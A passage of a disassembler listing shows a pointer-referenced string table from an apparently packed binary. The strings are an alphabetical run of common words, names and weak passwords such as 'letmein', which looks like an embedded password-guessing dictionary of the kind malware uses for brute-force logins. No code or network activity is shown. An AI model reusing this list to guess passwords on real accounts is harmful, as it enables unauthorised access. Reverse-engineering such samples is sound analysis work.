aMove		db 'move',0             ; DATA XREF: .nsp0:0042D398o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: .nsp0:0042D394o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .nsp0:0042D390o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: .nsp0:0042D38Co
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: .nsp0:0042D388o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .nsp0:0042D384o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: .nsp0:0042D380o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: .nsp0:0042D37Co
		align 4
aMorley		db 'morley',0           ; DATA XREF: .nsp0:0042D378o
		align 10h
aMore		db 'more',0             ; DATA XREF: .nsp0:0042D374o
		align 4
aMoose		db 'moose',0            ; DATA XREF: .nsp0:0042D370o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: .nsp0:0042D36Co
		align 4
aMoom		db 'moom',0             ; DATA XREF: .nsp0:0042D368o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: .nsp0:0042D364o
		align 4
aMonday		db 'monday',0           ; DATA XREF: .nsp0:0042D360o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: .nsp0:0042D35Co
		align 4
aMogul		db 'mogul',0            ; DATA XREF: .nsp0:0042D358o
		align 10h
aModem		db 'modem',0            ; DATA XREF: .nsp0:0042D354o
		align 4
aMode		db 'mode',0             ; DATA XREF: .nsp0:0042D350o
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: .nsp0:0042D34Co
		align 4
aMission	db 'mission',0          ; DATA XREF: .nsp0:0042D348o
aMisfit		db 'misfit',0           ; DATA XREF: .nsp0:0042D344o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: .nsp0:0042D340o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: .nsp0:0042D33Co
aMine		db 'mine',0             ; DATA XREF: .nsp0:0042D338o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .nsp0:0042D334o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: .nsp0:0042D330o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .nsp0:0042D32Co
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: .nsp0:0042D328o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .nsp0:0042D324o
		align 4
aMicro		db 'micro',0            ; DATA XREF: .nsp0:0042D320o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: .nsp0:0042D31Co
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: .nsp0:0042D318o
		align 4
aMichele	db 'michele',0          ; DATA XREF: .nsp0:0042D314o
aMichelan	db 'michelan',0         ; DATA XREF: .nsp0:0042D310o
		align 4
aMichel		db 'michel',0           ; DATA XREF: .nsp0:0042D30Co
		align 10h
aMichael	db 'michael',0          ; DATA XREF: .nsp0:0042D308o
aMice		db 'mice',0             ; DATA XREF: .nsp0:0042D304o
		align 10h
aMets		db 'mets',0             ; DATA XREF: .nsp0:0042D300o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: .nsp0:0042D2FCo
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .nsp0:0042D2F8o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: .nsp0:0042D2F4o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: .nsp0:0042D2F0o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: .nsp0:0042D2ECo
aMenu		db 'menu',0             ; DATA XREF: .nsp0:0042D2E8o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: .nsp0:0042D2E4o
		align 4
aMemory		db 'memory',0           ; DATA XREF: .nsp0:0042D2E0o
		align 10h
aMember		db 'member',0           ; DATA XREF: .nsp0:0042D2DCo
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: .nsp0:0042D2D8o
aMellon		db 'mellon',0           ; DATA XREF: .nsp0:0042D2D4o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: .nsp0:0042D2D0o
aMegan		db 'megan',0            ; DATA XREF: .nsp0:0042D2CCo
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: .nsp0:0042D2C8o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .nsp0:0042D2C4o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: .nsp0:0042D2C0o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: .nsp0:0042D2BCo
aMath		db 'math',0             ; DATA XREF: .nsp0:0042D2B8o
		align 4
aMaster		db 'master',0           ; DATA XREF: .nsp0:0042D2B4o
		align 10h
aMason		db 'mason',0            ; DATA XREF: .nsp0:0042D2B0o
		align 4
aMary		db 'mary',0             ; DATA XREF: .nsp0:0042D2ACo
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: .nsp0:0042D2A8o
		align 4
aMarty		db 'marty',0            ; DATA XREF: .nsp0:0042D2A4o
		align 10h
aMars		db 'mars',0             ; DATA XREF: .nsp0:0042D2A0o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: .nsp0:0042D29Co
		align 4
aMarni		db 'marni',0            ; DATA XREF: .nsp0:0042D298o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .nsp0:0042D294o
		align 4
aMark		db 'mark',0             ; DATA XREF: .nsp0:0042D290o
		align 4
aMarines	db 'marines',0          ; DATA XREF: .nsp0:0042D28Co
aMarijuan	db 'marijuan',0         ; DATA XREF: .nsp0:0042D288o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: .nsp0:0042D284o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .nsp0:0042D280o
aMaria		db 'maria',0            ; DATA XREF: .nsp0:0042D27Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .nsp0:0042D278o
		align 4
aMarci		db 'marci',0            ; DATA XREF: .nsp0:0042D274o
		align 4
aMara		db 'mara',0             ; DATA XREF: .nsp0:0042D270o
		align 4
aManager	db 'manager',0          ; DATA XREF: .nsp0:0042D26Co
aMana		db 'mana',0             ; DATA XREF: .nsp0:0042D268o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .nsp0:0042D264o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .nsp0:0042D260o
aMaint		db 'maint',0            ; DATA XREF: .nsp0:0042D25Co
		align 4
aMail		db 'mail',0             ; DATA XREF: .nsp0:0042D258o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .nsp0:0042D254o
		align 4
aMagic		db 'magic',0            ; DATA XREF: .nsp0:0042D250o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .nsp0:0042D24Co
		align 4
aMacro		db 'macro',0            ; DATA XREF: .nsp0:0042D248o
		align 4
aMack		db 'mack',0             ; DATA XREF: .nsp0:0042D244o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .nsp0:0042D240o
		align 4
aMachine	db 'machine',0          ; DATA XREF: .nsp0:0042D23Co
aLynne		db 'lynne',0            ; DATA XREF: .nsp0:0042D238o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: .nsp0:0042D234o
		align 10h
aLust		db 'lust',0             ; DATA XREF: .nsp0:0042D230o
		align 4
aLuke		db 'luke',0             ; DATA XREF: .nsp0:0042D22Co
		align 10h
aLude		db 'lude',0             ; DATA XREF: .nsp0:0042D228o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: .nsp0:0042D224o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: .nsp0:0042D220o
		align 4
aLuck		db 'luck',0             ; DATA XREF: .nsp0:0042D21Co
		align 10h
aLover		db 'lover',0            ; DATA XREF: .nsp0:0042D218o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: .nsp0:0042D214o
aLouis		db 'louis',0            ; DATA XREF: .nsp0:0042D210o
		align 4
aLoser		db 'loser',0            ; DATA XREF: .nsp0:0042D20Co
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: .nsp0:0042D208o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .nsp0:0042D204o
		align 4
aLori		db 'lori',0             ; DATA XREF: .nsp0:0042D200o
		align 4
aLore		db 'lore',0             ; DATA XREF: .nsp0:0042D1FCo
		align 4
aLoose		db 'loose',0            ; DATA XREF: .nsp0:0042D1F8o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .nsp0:0042D1F4o
		align 4
aLois		db 'lois',0             ; DATA XREF: .nsp0:0042D1F0o
		align 4
aLogout		db 'logout',0           ; DATA XREF: .nsp0:0042D1ECo
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .nsp0:0042D1E8o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: .nsp0:0042D1E4o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: .nsp0:0042D1E0o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .nsp0:0042D1DCo
aLock		db 'lock',0             ; DATA XREF: .nsp0:0042D1D8o
		align 4
aLoad		db 'load',0             ; DATA XREF: .nsp0:0042D1D4o
		align 4
aLive		db 'live',0             ; DATA XREF: .nsp0:0042D1D0o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .nsp0:0042D1CCo
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: .nsp0:0042D1C8o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: .nsp0:0042D1C4o
		align 10h
aLips		db 'lips',0             ; DATA XREF: .nsp0:0042D1C0o
		align 4
aLion		db 'lion',0             ; DATA XREF: .nsp0:0042D1BCo
		align 10h
aLink		db 'link',0             ; DATA XREF: .nsp0:0042D1B8o
		align 4
aLinda		db 'linda',0            ; DATA XREF: .nsp0:0042D1B4o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: .nsp0:0042D1B0o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .nsp0:0042D1ACo
		align 4
aLima		db 'lima',0             ; DATA XREF: .nsp0:0042D1A8o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .nsp0:0042D1A4o
		align 4
aLight		db 'light',0            ; DATA XREF: .nsp0:0042D1A0o
		align 10h
aLife		db 'life',0             ; DATA XREF: .nsp0:0042D19Co
		align 4
aLicker		db 'licker',0           ; DATA XREF: .nsp0:0042D198o
		align 10h
aLick		db 'lick',0             ; DATA XREF: .nsp0:0042D194o
		align 4
aLibrary	db 'library',0          ; DATA XREF: .nsp0:0042D190o
aLiberal	db 'liberal',0          ; DATA XREF: .nsp0:0042D18Co
aLexluthe	db 'lexluthe',0         ; DATA XREF: .nsp0:0042D188o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: .nsp0:0042D184o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .nsp0:0042D180o
aLeslie		db 'leslie',0           ; DATA XREF: .nsp0:0042D17Co
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .nsp0:0042D178o
aLeroy		db 'leroy',0            ; DATA XREF: .nsp0:0042D174o
		align 4
aLeland		db 'leland',0           ; DATA XREF: .nsp0:0042D170o
		align 4
aLegal		db 'legal',0            ; DATA XREF: .nsp0:0042D16Co
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .nsp0:0042D168o
		align 4
aLeft		db 'left',0             ; DATA XREF: .nsp0:0042D164o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: .nsp0:0042D160o
		align 4
aLeah		db 'leah',0             ; DATA XREF: .nsp0:0042D15Co
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .nsp0:0042D158o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .nsp0:0042D154o
aLava		db 'lava',0             ; DATA XREF: .nsp0:0042D150o
		align 4
aLaura		db 'laura',0            ; DATA XREF: .nsp0:0042D14Co
		align 4
aLaser		db 'laser',0            ; DATA XREF: .nsp0:0042D148o
		align 4
aLarry		db 'larry',0            ; DATA XREF: .nsp0:0042D144o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .nsp0:0042D140o
		align 4
aLara		db 'lara',0             ; DATA XREF: .nsp0:0042D13Co
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .nsp0:0042D138o
		align 4
aLana		db 'lana',0             ; DATA XREF: .nsp0:0042D134o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .nsp0:0042D130o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: .nsp0:0042D12Co
		align 4
aLakers		db 'lakers',0           ; DATA XREF: .nsp0:0042D128o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: .nsp0:0042D124o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: .nsp0:0042D120o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: .nsp0:0042D11Co
		align 4
aKristine	db 'kristine',0         ; DATA XREF: .nsp0:0042D118o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .nsp0:0042D114o
aKristie	db 'kristie',0          ; DATA XREF: .nsp0:0042D110o
aKristi		db 'kristi',0           ; DATA XREF: .nsp0:0042D10Co
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .nsp0:0042D108o
aKrista		db 'krista',0           ; DATA XREF: .nsp0:0042D104o
		align 4
aKnown		db 'known',0            ; DATA XREF: .nsp0:0042D100o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .nsp0:0042D0FCo
		align 10h
aKnight		db 'knight',0           ; DATA XREF: .nsp0:0042D0F8o
		align 4
aKnife		db 'knife',0            ; DATA XREF: .nsp0:0042D0F4o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: .nsp0:0042D0F0o
aKitten		db 'kitten',0           ; DATA XREF: .nsp0:0042D0ECo
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: .nsp0:0042D0E8o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .nsp0:0042D0E4o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .nsp0:0042D0E0o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: .nsp0:0042D0DCo
		align 4
aKing		db 'king',0             ; DATA XREF: .nsp0:0042D0D8o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: .nsp0:0042D0D4o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .nsp0:0042D0D0o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .nsp0:0042D0CCo
		align 10h
aKill		db 'kill',0             ; DATA XREF: .nsp0:0042D0C8o
		align 4
aKids		db 'kids',0             ; DATA XREF: .nsp0:0042D0C4o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: .nsp0:0042D0C0o
aKeyin		db 'keyin',0            ; DATA XREF: .nsp0:0042D0BCo
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: .nsp0:0042D0B8o
aKewl		db 'kewl',0             ; DATA XREF: .nsp0:0042D0B4o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: .nsp0:0042D0B0o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: .nsp0:0042D0ACo
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: .nsp0:0042D0A8o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: .nsp0:0042D0A4o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: .nsp0:0042D0A0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .nsp0:0042D09Co
		align 10h
aKeri		db 'keri',0             ; DATA XREF: .nsp0:0042D098o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: .nsp0:0042D094o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: .nsp0:0042D090o
aKatina		db 'katina',0           ; DATA XREF: .nsp0:0042D08Co
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: .nsp0:0042D088o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: .nsp0:0042D084o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .nsp0:0042D080o
		align 10h
aKate		db 'kate',0             ; DATA XREF: .nsp0:0042D07Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: .nsp0:0042D078o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: .nsp0:0042D074o
		align 4
aKarie		db 'karie',0            ; DATA XREF: .nsp0:0042D070o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: .nsp0:0042D06Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: .nsp0:0042D068o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: .nsp0:0042D064o
aJune		db 'june',0             ; DATA XREF: .nsp0:0042D060o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: .nsp0:0042D05Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: .nsp0:0042D058o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: .nsp0:0042D054o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: .nsp0:0042D050o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: .nsp0:0042D04Co
		align 4
aJudy		db 'judy',0             ; DATA XREF: .nsp0:0042D048o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: .nsp0:0042D044o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: .nsp0:0042D040o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: .nsp0:0042D03Co
aJoshua		db 'joshua',0           ; DATA XREF: .nsp0:0042D038o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: .nsp0:0042D034o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: .nsp0:0042D030o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: .nsp0:0042D02Co
aJohn		db 'john',0             ; DATA XREF: .nsp0:0042D028o
		align 10h
aJody		db 'jody',0             ; DATA XREF: .nsp0:0042D024o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: .nsp0:0042D020o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: .nsp0:0042D01Co
		align 4
aJill		db 'jill',0             ; DATA XREF: .nsp0:0042D018o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: .nsp0:0042D014o
aJester		db 'jester',0           ; DATA XREF: .nsp0:0042D010o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: .nsp0:0042D00Co
aJerusale	db 'jerusale',0         ; DATA XREF: .nsp0:0042D008o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .nsp0:0042D004o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .nsp0:0042D000o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .nsp0:0042CFFCo
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: .nsp0:0042CFF8o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: .nsp0:0042CFF4o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: .nsp0:0042CFF0o
		align 4
aJean		db 'jean',0             ; DATA XREF: .nsp0:0042CFECo
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: .nsp0:0042CFE8o
		align 4
aJava		db 'java',0             ; DATA XREF: .nsp0:0042CFE4o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: .nsp0:0042CFE0o
		align 4
aJapan		db 'japan',0            ; DATA XREF: .nsp0:0042CFDCo
		align 10h
aJanie		db 'janie',0            ; DATA XREF: .nsp0:0042CFD8o
		align 4
aJanice		db 'janice',0           ; DATA XREF: .nsp0:0042CFD4o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: .nsp0:0042CFD0o
		align 4
aJane		db 'jane',0             ; DATA XREF: .nsp0:0042CFCCo
		align 10h
aJail		db 'jail',0             ; DATA XREF: .nsp0:0042CFC8o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: .nsp0:0042CFC4o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: .nsp0:0042CFC0o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: .nsp0:0042CFBCo
		align 4
aIrene		db 'irene',0            ; DATA XREF: .nsp0:0042CFB8o
		align 4
aInvent		db 'invent',0           ; DATA XREF: .nsp0:0042CFB4o
		align 4
aInteger	db 'integer',0          ; DATA XREF: .nsp0:0042CFB0o
aInside		db 'inside',0           ; DATA XREF: .nsp0:0042CFACo
		align 4
aInput		db 'input',0            ; DATA XREF: .nsp0:0042CFA8o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .nsp0:0042CFA4o
		align 4
aInna		db 'inna',0             ; DATA XREF: .nsp0:0042CFA0o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: .nsp0:0042CF9Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: .nsp0:0042CF98o
aIngres		db 'ingres',0           ; DATA XREF: .nsp0:0042CF94o
		align 4
aIndians	db 'indians',0          ; DATA XREF: .nsp0:0042CF90o
aIndiana	db 'indiana',0          ; DATA XREF: .nsp0:0042CF8Co
aIndian		db 'indian',0           ; DATA XREF: .nsp0:0042CF88o
		align 10h
aIndia		db 'india',0            ; DATA XREF: .nsp0:0042CF84o
		align 4
aInclude	db 'include',0          ; DATA XREF: .nsp0:0042CF80o
aImperial	db 'imperial',0         ; DATA XREF: .nsp0:0042CF7Co
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .nsp0:0042CF78o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: .nsp0:0042CF74o
		align 4
aImage		db 'image',0            ; DATA XREF: .nsp0:0042CF70o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .nsp0:0042CF6Co
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: .nsp0:0042CF68o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .nsp0:0042CF64o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: .nsp0:0042CF60o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: .nsp0:0042CF5Co
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .nsp0:0042CF58o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: .nsp0:0042CF54o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: .nsp0:0042CF50o
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: .nsp0:0042CF4Co
		align 4
aHotel		db 'hotel',0            ; DATA XREF: .nsp0:0042CF48o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: .nsp0:0042CF44o
		align 4
aHost		db 'host',0             ; DATA XREF: .nsp0:0042CF40o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: .nsp0:0042CF3Co
		align 4
aHorse		db 'horse',0            ; DATA XREF: .nsp0:0042CF38o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: .nsp0:0042CF34o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: .nsp0:0042CF30o
		align 4
aHorny		db 'horny',0            ; DATA XREF: .nsp0:0042CF2Co
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .nsp0:0042CF28o
aHooker		db 'hooker',0           ; DATA XREF: .nsp0:0042CF24o
		align 4
aHoney		db 'honey',0            ; DATA XREF: .nsp0:0042CF20o
		align 4
aHomework	db 'homework',0         ; DATA XREF: .nsp0:0042CF1Co
		align 10h
aHomer		db 'homer',0            ; DATA XREF: .nsp0:0042CF18o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: .nsp0:0042CF14o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .nsp0:0042CF10o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: .nsp0:0042CF0Co
		align 4
aHole		db 'hole',0             ; DATA XREF: .nsp0:0042CF08o
		align 10h
aHits		db 'hits',0             ; DATA XREF: .nsp0:0042CF04o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: .nsp0:0042CF00o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: .nsp0:0042CEFCo
		align 4
aHigh		db 'high',0             ; DATA XREF: .nsp0:0042CEF8o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .nsp0:0042CEF4o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .nsp0:0042CEF0o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: .nsp0:0042CEECo
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .nsp0:0042CEE8o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: .nsp0:0042CEE4o
aHeroin		db 'heroin',0           ; DATA XREF: .nsp0:0042CEE0o
		align 10h
aHero		db 'hero',0             ; DATA XREF: .nsp0:0042CEDCo
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: .nsp0:0042CED8o
aHerb		db 'herb',0             ; DATA XREF: .nsp0:0042CED4o
		align 4
aHelp		db 'help',0             ; DATA XREF: .nsp0:0042CED0o
		align 10h
aHello		db 'hello',0            ; DATA XREF: .nsp0:0042CECCo
		align 4
aHell		db 'hell',0             ; DATA XREF: .nsp0:0042CEC8o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: .nsp0:0042CEC4o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .nsp0:0042CEC0o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .nsp0:0042CEBCo
		align 10h
aHeather	db 'heather',0          ; DATA XREF: .nsp0:0042CEB8o
aHeathen	db 'heathen',0          ; DATA XREF: .nsp0:0042CEB4o
aHeat		db 'heat',0             ; DATA XREF: .nsp0:0042CEB0o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: .nsp0:0042CEACo
		align 4
aHead		db 'head',0             ; DATA XREF: .nsp0:0042CEA8o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .nsp0:0042CEA4o
		align 4
aHaven		db 'haven',0            ; DATA XREF: .nsp0:0042CEA0o
		align 4
aHate		db 'hate',0             ; DATA XREF: .nsp0:0042CE9Co
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .nsp0:0042CE98o
		align 4
aHarold		db 'harold',0           ; DATA XREF: .nsp0:0042CE94o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .nsp0:0042CE90o
aHarddriv	db 'harddriv',0         ; DATA XREF: .nsp0:0042CE8Co
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: .nsp0:0042CE88o
		align 4
aHard		db 'hard',0             ; DATA XREF: .nsp0:0042CE84o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .nsp0:0042CE80o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: .nsp0:0042CE7Co
aHandily	db 'handily',0          ; DATA XREF: .nsp0:0042CE78o
aHandel		db 'handel',0           ; DATA XREF: .nsp0:0042CE74o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: .nsp0:0042CE70o
aHamlet		db 'hamlet',0           ; DATA XREF: .nsp0:0042CE6Co
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: .nsp0:0042CE68o
		align 4
aHair		db 'hair',0             ; DATA XREF: .nsp0:0042CE64o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .nsp0:0042CE60o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .nsp0:0042CE5Co
		align 4
aHack		db 'hack',0             ; DATA XREF: .nsp0:0042CE58o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .nsp0:0042CE54o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .nsp0:0042CE50o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: .nsp0:0042CE4Co
		align 4
aGuess		db 'guess',0            ; DATA XREF: .nsp0:0042CE48o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: .nsp0:0042CE44o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: .nsp0:0042CE40o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .nsp0:0042CE3Co
aGroup		db 'group',0            ; DATA XREF: .nsp0:0042CE38o
		align 4
aGreen		db 'green',0            ; DATA XREF: .nsp0:0042CE34o
		align 4
aGreat		db 'great',0            ; DATA XREF: .nsp0:0042CE30o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .nsp0:0042CE2Co
		align 4
aGrand		db 'grand',0            ; DATA XREF: .nsp0:0042CE28o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .nsp0:0042CE24o
		align 4
aGraham		db 'graham',0           ; DATA XREF: .nsp0:0042CE20o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .nsp0:0042CE1Co
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .nsp0:0042CE18o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: .nsp0:0042CE14o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: .nsp0:0042CE10o
aGorges		db 'gorges',0           ; DATA XREF: .nsp0:0042CE0Co
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: .nsp0:0042CE08o
		align 4
aGood		db 'good',0             ; DATA XREF: .nsp0:0042CE04o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .nsp0:0042CE00o
		align 4
aGolf		db 'golf',0             ; DATA XREF: .nsp0:0042CDFCo
		align 4
aGolden		db 'golden',0           ; DATA XREF: .nsp0:0042CDF8o
		align 4
aGold		db 'gold',0             ; DATA XREF: .nsp0:0042CDF4o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .nsp0:0042CDF0o
aGirl		db 'girl',0             ; DATA XREF: .nsp0:0042CDECo
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .nsp0:0042CDE8o
		align 4
aGina		db 'gina',0             ; DATA XREF: .nsp0:0042CDE4o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .nsp0:0042CDE0o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: .nsp0:0042CDDCo
		align 4
aGhost		db 'ghost',0            ; DATA XREF: .nsp0:0042CDD8o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: .nsp0:0042CDD4o
		align 4
